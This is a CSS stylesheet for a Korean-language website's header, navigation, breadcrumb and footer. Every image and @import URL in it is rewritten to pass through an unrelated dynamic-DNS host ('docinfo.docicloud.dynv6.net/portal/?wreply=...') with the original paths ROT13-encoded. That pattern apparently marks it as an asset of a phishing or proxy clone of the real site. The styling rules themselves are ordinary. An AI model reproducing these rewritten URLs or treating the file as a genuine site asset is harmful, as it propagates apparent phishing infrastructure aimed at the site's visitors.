@charset "utf-8"; @import url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2Sonfvp.pff"); @import url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2Serfrg.pff'); *{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;} html,body{width:100%;height:100%;} body,input,textarea,button,select,table,h1,h2,h3,h4,h5,h6{ font-family:'Noto Sans Korean','돋움',Dotum,'굴림',Gulim,'나눔고딕',NanumGothic,Arial,sans-serif; font-size:15px;font-weight:400;color:#333;line-height:1.5; } html{ -ms-text-size-adjust:100%; -webkit-text-size-adjust:100%;} body{background-color:#e9e9e9} #wrap{min-width:320px;background-color:#fff;} .frame{max-width:1120px;margin:0 auto;} img{max-width:100%;} /** Header ==================================================================================================== **/ #asideArea{display:none} #asideArea .total_title{height:66px;padding-left:18px;padding-bottom:1px;background:#ffffff;color:#214489;font-size:20px;font-weight:700;line-height:66px;} #asideArea #totalClose{display:block;position:absolute;top:14px;right:10px;} #asideArea #totalClose a{display:block;width:36px;height:36px;padding:0;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Szbovyr_gbgny_pybfr.cat) 50% 50% no-repeat;background-size:28px auto;text-indent:-9999px;} .total_link{border-top:1px solid #e1e1e1;border-bottom:1px solid #e1e1e1;background:#f6f7f7;} .total_link:after{display:block;clear:both;content:'';} .total_link li{float:left;} .total_link li:first-child a{border-left:0 none;} .total_link a{display:block;height:40px;padding:10px 0;border-left:1px solid #e1e1e1;color:#3a3d43;text-align:center;} .total_link .link_lg{width:20%;} .total_link .link_sm{width:20%;} .total_link .link_fb, .total_link .link_tw, .total_link .link_bg, .total_link .link_cs, .total_link .link_ig, .total_link .link_yt {width:12%;} .total_link .link_fb a, .total_link .link_tw a, .total_link .link_bg a, .total_link .link_cs a, .total_link .link_ig a, .total_link .link_yt a {background-position:50% 50%;background-repeat:no-repeat;background-size:40px auto; background-size:25px auto; text-indent:-9999px;} .total_link .link_fb a{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Syvax_faf_snprobbx.cat)} .total_link .link_tw a{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Syvax_faf_02.cat)} .total_link .link_bg a{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Syvax_faf_oybt.cat)} .total_link .link_cs a{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Syvax_faf_xnxnb.cat)} .total_link .link_yt a{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Syvax_faf_lbhghor.cat)} .total_link .link_ig a{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Syvax_faf_vafgntenz.cat)} #totalNav{position:relative;padding-bottom:20px;} #totalNav .nav_item{} #totalNav .nav_btn{display:block;padding:12px 6px 12px 22px;border-bottom:1px solid #4260c1;font-size:16px;background-color:#2e499f;background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Sgbgny_ani_cyhf.cat);background-position:95% 50%;background-repeat:no-repeat;background-size:26px auto;color:#fff;} #totalNav .nav_btn.active{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Sgbgny_ani_zvahf.cat);border-bottom:1px solid #e1e1e1;} #totalNav .nav_sbtn{display:block;padding:12px 6px 12px 22px;border-bottom:1px solid #e1e1e1;background-color:#fff;background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Sgbgny_ani_cyhf.cat);background-position:95% 50%;background-repeat:no-repeat;background-size:26px auto;color:#444852;} #totalNav .nav_sbtn.active{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Sgbgny_ani_zvahf.cat);border-bottom:1px solid #e1e1e1;} #totalNav > li > ul > li > a{display:block;padding:12px 6px 12px 22px;border-bottom:1px solid #e1e1e1;background-color:#fff;color:#444852;} #totalNav .nav_list{display:none;} #totalNav .nav_list .desc_list{display:none;padding:12px 6px 14px 25px;border-bottom:1px solid #e1e1e1;background:#f7f8fa} #totalNav .nav_list .desc_list li{padding:4px 0 0px 10px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Sgbgny_ani_ohyyrg.cat) 0 50% no-repeat;background-size:4px auto;} #totalNav .nav_list .desc_list a{color:#4b536b;} #totalNav .nav_list .desc_list a.active{color:#0030aa;text-decoration:underline} #totalNav .nav_list .desc_list{display:none;padding:12px 6px 14px 25px;border-bottom:1px solid #e1e1e1;background:#f7f8fa} #header{max-height:160px;border-top:4px solid #585858;background:#fff;position:relative;} #headUtil{width:100%;height:34px;border-bottom:1px solid #e7e9ea;} #headUtil .frame { display:-ms-flexbox; display:flex; justify-content:space-between; align-items:center; } #headUtil .frame .nuri { display: block; margin-bottom:0.2143em; color: #555; } #headUtil .frame .nuri span { display: inline-block; padding-left:2.286em; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Sgnrtrhxtv.cat) no-repeat 0 50%; background-size:auto 1.143em; font-weight: 300; } #headUtil .frame .frameR { display:flex; } #headUtil .desc_list{/* float:right; */height:34px;} #headUtil .desc_list::after { content:''; display:block; clear:both; } #headUtil .desc_list li{float:left;font-size:13px;padding:0 1px;border:1px solid #e7e9ea;height:100%;line-height:32px;} #headUtil .desc_list li a{display:block;width:100%;height:100%;} #headUtil .desc_list li:first-child a{padding:0 25px 0 8px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Swv_cevag.tvs) no-repeat 88% center;} #headUtil .desc_list li dl dt{padding:0 8px;} #headUtil .desc_list li dl dt, #headUtil .desc_list li dl dd{float:left;height:36px;} #headUtil .desc_list li dl dd{border-left:1px solid #e7e9ea;} #headUtil .desc_list li:last-child{padding:0;border-left:none;} #headGlobal{width:1120px;height:80px;margin:0 auto;} #headGlobal .frame{height:80px;position:relative;text-align: center;} #headGlobal #headLogo{width:318px;padding-top:16px;margin:0 auto;} #headGlobal #totalOpen{display:none;} #headGlobal .desc_site{position:absolute;left:0;bottom:10px;z-index:200;} #headGlobal .desc_site > li{float:left;border-left:1px solid #ddd;height:22px;} #headGlobal .desc_site > li:first-child{border-left:none;} #headGlobal .desc_site li a{display:block;height:22px;padding:0 10px;} #headGlobal .desc_site > li:first-child a{padding-left:0;} #headGlobal .desc_site > li.select_btn{position:relative;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Shgvy_neebj_bss.cat) 100% 58% no-repeat;} #headGlobal .desc_site > li.select_btn > a{padding:0 30px 0 10px;} #headGlobal .desc_site > li.select_btn .desc_box{display:none;width:100%;position:absolute;top:26px;left:0;padding:0;border-top:1px solid #dddddd;z-index:500;} #headGlobal .desc_site > li.select_btn .desc_box > ul{max-height:75px;border:0;padding:0;border-left:1px solid #dddddd;border-right:1px solid #dddddd;background:#fff;list-style:none;} #headGlobal .desc_site > li.select_btn .desc_box li{border-bottom:1px solid #dddddd;} #headGlobal .desc_site > li.select_btn .desc_box li a{display:block;font-size:12px;height:25px;line-height:25px;padding:0;background:#fff;color:#555;text-indent:13px;text-decoration:none;} #headGlobal .desc_site > li.select_btn .desc_box li a:hover, #headGlobal .desc_site > li.select_btn .desc_box li a:focus{background:#f9f9f9;} #headGlobal .desc_btn{position:absolute;right:0;bottom:18px;} #headGlobal .desc_btn li{float:left;height:22px;} #headGlobal .desc_btn li a{display:block;font-size:14px;color:#555;height:100%;padding:0 10px;} #headGlobal .desc_btn li a.btn_email{border-left:1px solid #ddd;margin-right:10px;} #headGlobal .desc_btn li a.btn_sns{display:block;width:24px;height:24px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Swv_uq_oga_fbpvny.cat) no-repeat 0 0;text-indent:-9999px;margin:-2px 1px 0;} #headGlobal .desc_btn li a.btn_sns:active, #headGlobal .desc_btn li a.btn_sns:hover, #headGlobal .desc_btn li a.btn_sns:focus{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Swv_uq_oga_fbpvny_ba.cat);} #headGlobal .desc_btn li a.btn_fb{background-position:0 0;} #headGlobal .desc_btn li a.btn_tw{background-position:-25px 0;} #headGlobal .desc_btn li a.btn_bg{background-position:-50px 0;} #headGlobal .desc_btn li a.btn_cs{background-position:-75px 0;} #headNav{display:block;position:relative;width:100%;height:48px;} #headNavWrap{position:absolute;z-index:102;top:0;left:0;width:100%;height:48px;border-bottom:1px solid #ccc;background:#fff url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Surnq_ani_yvar.wct) repeat-x 0 48px;} #headNavWrap::after { content:''; display:block; clear:both; } #headNavList{display:block;position:relative;width:1120px;margin:0 auto;padding:0;z-index:10;border-left:1px solid #d1d5d9;} #headNavList:after{display:block;clear:both;content:'';} #headNavList a:hover,#headNavList a:active,#headNavList a:focus{text-decoration:none;} #headNavList a{display:block;} #headNavList > li{float:left;width:14%;text-align:center;} #headNavList > li.item5{width:14%;} #headNavList > li.item6{width:14%;} #headNavList > li .nav_btn{width:100%;height:48px;line-height:46px;border:1px solid #d1d5d9;border-left:0 none;border-bottom:0 none;font-size:16px;color:#333;} #headNavList > li .nav_btn:active, #headNavList > li .nav_btn:hover, #headNavList > li .nav_btn:focus{color:#2e499f;background:#f9f9f9;} #headNavList > li .nav_btn:focus { border:2px dashed; outline:none; } #headNavList > li#navIndex{width:11%;} #headNavList > li#navSearch{width:5%;} #headNavList .current{color:#2e499f;background:#f9f9f9;} #headNavList .item_wrap{ display:none;position:absolute;left:0;top:70px;width:1120px;} #headNavList .nav_list{margin-left:-20px;} #headNavList .nav_list:after{display:block;clear:both;content:'';} #headNavList .nav_list > li{width:16.66%;float:left;padding:0 0 20px 20px;font-size:15px;text-align:left;} #headNavList .nav_list > li.i7{clear:both;} #headNavList .nav_list .nav_sbtn{display:block;width:100%;position:relative;font-size:16px;line-height:20px;border-bottom:3px solid #ccc;padding:8px 0;font-weight:400;letter-spacing:-0.5px;} #headNavList .nav_list .nav_sbtn:active, #headNavList .nav_list .nav_sbtn:hover, #headNavList .nav_list .nav_sbtn:focus{border-bottom:3px solid #2e499f;color:#2e499f;} #headNavList .nav_list .desc_list{display:block;padding-top:10px;} #headNavList .nav_list .desc_list li{display:block;width:100%;position:relative;margin:0;} #headNavList .nav_list .desc_list li a{display:block;padding:7px 0;font-size:14px;line-height:20px;color:#767676;letter-spacing:-1px;border-bottom:1px solid #eee;word-wrap:break-word;word-break:keep-all;} #headNavList .nav_list .desc_list li a:active, #headNavList .nav_list .desc_list li a:hover, #headNavList .nav_list .desc_list li a:focus{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Surnq_ani_neebj.cat) 100% 50% no-repeat;border-color:#000;color:#000;} .overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.5);z-index:99998} @media screen and (max-width:1880px){ #headNavList .item_wrap .tit_gnb{display:none;} } @media screen and (max-width:1140px){ #headGlobal{width:100%;padding:0 20px;} #headNavList,#headNavList .item_wrap{width:100%;} #headNavList .nav_list{margin-left:-14px;padding:0 12px;} #headNavList .nav_list .nav_sbtn{font-size:15px;} #headNavList .nav_list > li{padding:0 0 18px 14px;font-size:14px;} } @media screen and (min-width:1024px){ #asideArea{display:block;position:fixed;top:0px;right:-100%;overflow-x:hidden;width:320px;height:100%;background:#fff;z-index:99999;} #asideArea.fix{position:fixed !important;display:none;} } @media only screen and (max-width:1023px){ .split #wrap{position:fixed;width:100%;height:100%;overflow:hidden;} #headGlobal #totalOpen{display:block;position:absolute;top:20px;right:10px;} #headGlobal #totalOpen a{display:block;width:36px;height:24px;padding:6px;background-size:36px auto;text-indent:-9999px;} #asideArea{display:block;position:fixed;top:0px;right:-100%;overflow-x:hidden;width:320px;height:100%;background:#fff;z-index:99999;} #asideArea.fix{position:fixed !important} #headGlobal #totalOpen{display:block;position:absolute;top:0;right:0;} #headGlobal #totalOpen a{display:block;width:61px;height:54px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Szbovyr_gbgny_bcra.tvs) 50% 50% no-repeat;background-size:61px auto;text-indent:-9999px;} #header{height:88px;} #headUtil { height: 30px; } #headUtil .frame { display: none; } #headGlobal{height:54px;padding:0 0 0 20px;background:#2e499f;} #headGlobal .frame{height:54px;} #headGlobal .desc_site{position:absolute;left:0;top:-26px;bottom:auto;} #headGlobal .desc_site li a{font-size:13px;} #headGlobal .desc_btn{display:none;} #headGlobal .desc_btn li a{color:#eee;} #headGlobal #headLogo{width:150px;height:100%;padding-top:0;margin:0;} #headGlobal #headLogo a{display:block;width:100%;height:100%;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Szb_ybtb.cat) no-repeat 0 center;background-size:150px auto;} #headGlobal #headLogo a img{display:none;} #headUtil .desc_list{display:none;} #headNav{display:none;} .total_link li.link_ig {} .total_link li.link_cs {} .total_link li.link_yt {} } @media only screen and (max-width:767px){ } @media screen and (max-width:479px){ #header{height:82px;} #headGlobal #totalOpen a{display:block;width:55px;height:48px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Szbovyr_gbgny_bcra.tvs) 50% 50% no-repeat;background-size:55px auto;text-indent:-9999px;} #asideArea .total_title{height:50px;padding-left:16px;font-size:20px;line-height:50px;font-weight:400;} #asideArea #totalClose{top:12px;right:10px;} #asideArea #totalClose a{width:26px;height:26px;background-size:22px auto;} /*#header{height:82px;}*/ #headGlobal{height:48px;padding:0 0 0 10px;} #headGlobal .frame{height:48px;} #headGlobal #headLogo{width:130px;} #headGlobal #headLogo a{background-size:130px auto;} } @media screen and (max-width:359px){ #asideArea{width:100%;} } /** Header 1016수정 */ #headUtil .desc_btn {/* float:right; */height:34px;overflow:hidden; } #headUtil .desc_btn li {float:left;height:100%;border-left:1px solid #ddd;line-height:32px;} #headUtil .desc_btn li:first-child { border-left: none; } #headUtil .desc_btn li a{display:block;font-size:14px;color:#555;height:100%;padding:0 14px;} #headUtil .desc_btn li a:focus { border:2px dashed #f00; } #headUtil .desc_btn li a.btn_email{margin-right:10px;} #headUtil .desc_btn li a.btn_sns{display:block;width:24px;height:100%;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Swv_uq_oga_fbpvny01.cat) no-repeat 0 50%;text-indent:-9999px;margin:-2px 1px 0;} #headUtil .desc_btn li a.btn_sns:active, #headUtil .desc_btn li a.btn_sns:hover, #headUtil .desc_btn li a.btn_sns:focus{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Swv_uq_oga_fbpvny_ba01.cat);} #headUtil .desc_btn li a.btn_fb{background-position:0 50%;} /*#headUtil .desc_btn li a.btn_tw{background-position:-25px 50%;}*/ #headUtil .desc_btn li a.btn_bg{background-position:-25px 50%;} #headUtil .desc_btn li a.btn_star { background-position:-50px 50%; } /* 추가0327 */ #headUtil .desc_btn li a.btn_cs{background-position:-75px 50%;} #headUtil .desc_btn li a.btn_you { background-position:-100px 50%; } /* 추가0327 */ .hdSocial { position:absolute; top:8px; left:0; } .hdSocial ul { font-size:0; } .hdSocial ul li { display:inline-block; position:relative; margin-left:7px; padding-left:8px; vertical-align:top; font-size:14px; } .hdSocial ul li:first-child { margin-left:0; padding-left:0; } .hdSocial ul li:before { content:''; position:absolute; top:6px; left:0; width:1px; height:16px; background:#ddd; } .hdSocial ul li:first-child:before { content:none; } .hdSocial ul li.s4 a, .hdSocial ul li.s5 a { padding-left:26px; } .hdSocial ul li a { display:block; min-height:26px; padding-top:3px; padding-left:31px; background-repeat:no-repeat; background-position:0 50%; color:#5b5b5b; } .hdSocial ul li.s1 a { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_fbpvny_lbhghor.cat); } .hdSocial ul li.s2 a { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_fbpvny_snprobbx.cat); } .hdSocial ul li.s3 a { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_fbpvny_vafgntenz.cat); } .hdSocial ul li.s4 a { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_fbpvny_oybt.cat); } .hdSocial ul li.s5 a { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_fbpvny_xnxnb.cat); } @media only screen and (max-width:1023px){ #headUtil .desc_btn, #headUtil .nation, .hdSocial { display:none; } } #headGlobal .desc_search {position:absolute;right:0;bottom:18px;border:2px solid #6690af;} #headGlobal .desc_search li{float:left;height:37px;} #headGlobal .desc_search .text input { width:250px;height:100%;padding-left:15px; color:#333;} #headGlobal .desc_search .s_btn input { width:40px;height:100%; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Soga_frnepu.cat) no-repeat 50%; color:transparent; } @media only screen and (max-width:1023px){ #headGlobal .desc_search{display:none;} } /** Container ==================================================================================================== **/ #container{background:#fff;padding:0 0 40px 0;position:relative;} #contHead{} #pageVisual{height:110px;background-color:#e0e0e0;background-position:50% 50%;background-repeat:no-repeat;} #pageVisual.page_visual1{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Sfho%2Sivfhnyvzt1.wct);} #location{width:100%;height:50px;background:#2e499f;} #locDepth:after{display:block;clear:both;content:'';} #locDepth > li{float:left;text-align:left;font-size:16px;color:#fff;line-height:50px;padding:0;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Sarj%2Sybp_qrcgu_yvar1.tvs) 0 50% no-repeat;} #locDepth > li.depth_home{background:none;} #locDepth > li.depth_home a{display:block;width:40px;height:100%;text-indent:-9999px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Swv_oga_ubzr.tvs) 50% 50% no-repeat;} #locDepth > li#depth1{color:#fff;line-height:50px;padding:0 20px;} #locDepth > li#depth2{position:relative;width:240px;} #locDepth > li#depth3{position:relative;width:280px;} #locDepth > li > a{display:block;color:#fff;padding:0 25px;} #locDepth > li > a.depth_btn{display:block;width:100%;height:100%;line-height:50px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Swv_uqfry_neebj.cat) no-repeat 90% center;padding-right:40px;padding-left:20px;margin-right:20px;text-decoration:underline;} #locDepth > li#depth3 > a.depth_btn{overflow:hidden;display:block;width:100%;height:100%;line-height:50px;background-position:95% 50%;padding-right:20px;white-space:nowrap;text-overflow:ellipsis;} #locDepth > li .desc_box{display:none;position:absolute;left:0;top:50px;width:100%;z-index:100;} #locDepth > li .desc_box ul{display:block;border:1px solid #dbdbdc;} #locDepth > li .desc_box li{background:#fff;border-top:1px solid #dbdbdc;line-height:20px;} #locDepth > li .desc_box li:first-child{border-top:0;} #locDepth > li .desc_box li:hover{background:#f5f5f5;} #locDepth > li .desc_box li a{display:block;padding:12px 8px 12px 18px;font-size:15px;color:#333} #locMobile{display:none;} #pageDepth{display:none;height:22px;font-family:'돋움','dotum';font-size:12px;color:#6b6561;} @media screen and (max-width:1023px){ #location{width:100%;height:50px;border-bottom:1px solid #d9d9d9;background:#eff2f4;padding:0 20px;} #locDepth > li#depth1{color:#101010;} #locDepth > li.depth_home a{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Swv_oga_ubzr2.tvs) 50% 50% no-repeat;} #locDepth > li > a{color:#101010;} #locDepth > li > a.depth_btn{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Swv_uqfry_neebj_oynpx.cat) no-repeat right 20px center;border-right-color:#ccc;} } @media all and (max-width:767px){ #pageVisual{display:none;} #location{height:auto;border:0 none;padding:0;background:none;} #location .frame{padding:0;} #locDepth{display:none;} #locMobile{display:block;} #locMobile dt, p#locMobile {border-bottom:1px solid #d9d9d9;background-color:#fafafa;background-position:98% 50%;background-repeat:no-repeat; background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Swv_uqfry_neebj_oynpx.cat);} /* background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbagrag%2Sybp_zbovyr_neebj_bss.cat);background-size:31px auto;}*/ /* #locMobile dt.active{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbagrag%2Sybp_zbovyr_neebj_ba.cat);}*/ #locMobile dt.noneSub, p#locMobile {background-image:none} #locMobile dt a, p#locMobile {display:block;padding:9px 4px 11px 16px;font-size:16px;color:#444852;} #locMobile dd{display:none;width:100%;} #locMobile dd ul{display:block;} #locMobile dd li{background:#ffffff;border-bottom:1px solid #d9d9d9;} #locMobile dd li.active{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbagrag%2Sybp_zbovyr_ot.tvs) 0 0 repeat;} #locMobile dd li.active a{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbagrag%2Sybp_zbovyr_npgvir.cat) 100% 50% no-repeat;color:#e60000;} #locMobile dd li a{display:block;padding:8px 8px 8px 14px;color:#333} #pageDepth{display:block;margin:20px 0 10px;padding:0 20px;} #pageDepth span, #pageDepth em{display:inline-block;padding:0 0 0 12px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Sybp_neebj.wct) 2px 50% no-repeat;} } /** Footer ==================================================================================================== **/ #footer{position:relative;} #footer .frame{position:relative;} #footer .frame:after{display:block;clear:both;content:'';} #footSite{border-top:1px solid #e6e6e6;border-bottom:1px solid #e6e6e6;background:#fff;height:46px;} #footSite:after{display:block;clear:both;content:'';} #footSite .site_list{height:100%;} #footSite .site_item{float:left;width:25%;height:100%;position:relative;} #footSite #siteItem1 > a{border-left:1px solid #e6e6e6;height:100%;} /*#footSite #siteItem4{width:18%}*/ /*#footSite #siteItem5{width:22%}*/ /*#footSite #siteItem6{display:none;}*/ #footSite .site_item > a{display:block;height:100%;padding:8px 0 14px 34px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Sfho%2Ss_fvgr_neebj_bss.wct) 100% 50% no-repeat;font-size:16px;color:#565656;} #footSite .selected> a{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Sfho%2Ss_fvgr_neebj_ba.wct)} #footGlobal{clear:both;padding:30px 0 54px;background:#e9e9e9;color:#565656;} #footGlobal .footLogo{float:left;height:100%;padding-left:10px;} #footNav,#footAddr{margin-bottom:5px;margin-left:20px;float:left;} #footNav li, #footAddr address, #footAddr span{display:inline-block;padding:0 8px 0 10px;font-size:13px;} #footAddr span, #footNav li{border-left:1px solid #868686;line-height:12px;} #footNav li:first-child{border-left:none;} #footNav li a{font-size:13px;color:#565656;} 